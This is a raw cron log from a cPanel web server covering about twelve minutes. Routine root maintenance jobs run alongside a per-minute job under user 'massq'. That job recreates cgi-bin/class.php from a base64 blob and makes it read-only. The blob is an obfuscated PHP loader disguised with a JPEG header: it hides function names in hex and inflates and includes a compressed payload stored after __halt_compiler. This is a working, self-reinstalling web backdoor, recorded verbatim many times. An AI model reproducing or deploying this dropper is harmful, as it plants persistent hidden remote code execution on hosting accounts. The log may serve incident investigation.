Sep 11 05:32:01 server CROND[9844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:32:01 server CROND[9845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:32:01 server CROND[9846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:33:01 server CROND[10282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:33:01 server CROND[10283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:33:01 server CROND[10284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:34:01 server CROND[10645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:34:01 server CROND[10646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:34:01 server CROND[10647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:35:01 server CROND[11023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:35:01 server CROND[11025]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 05:35:01 server CROND[11026]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 05:35:01 server CROND[11028]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 05:35:01 server CROND[11029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:35:01 server CROND[11031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:35:01 server CROND[11030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:35:01 server CROND[11033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:35:01 server CROND[11027]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 05:36:01 server CROND[11976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:36:01 server CROND[11977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:36:01 server CROND[11978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:37:01 server CROND[12346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:37:01 server CROND[12347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:37:01 server CROND[12348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:38:01 server CROND[12742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:38:01 server CROND[12743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:38:01 server CROND[12744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:39:01 server CROND[13109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:39:01 server CROND[13110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:39:01 server CROND[13111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:39:01 server CROND[13112]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 05:40:01 server CROND[13499]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 05:40:01 server CROND[13502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:40:01 server CROND[13506]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 05:40:01 server CROND[13504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:40:01 server CROND[13509]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:40:01 server CROND[13508]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:40:01 server CROND[13505]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 05:40:01 server CROND[13507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:41:01 server CROND[14441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:41:01 server CROND[14442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:41:01 server CROND[14443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:42:01 server CROND[14807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:42:01 server CROND[14808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:42:01 server CROND[14810]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 05:42:01 server CROND[14809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:43:01 server CROND[15192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:43:01 server CROND[15191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:43:01 server CROND[15193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:44:01 server CROND[15560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
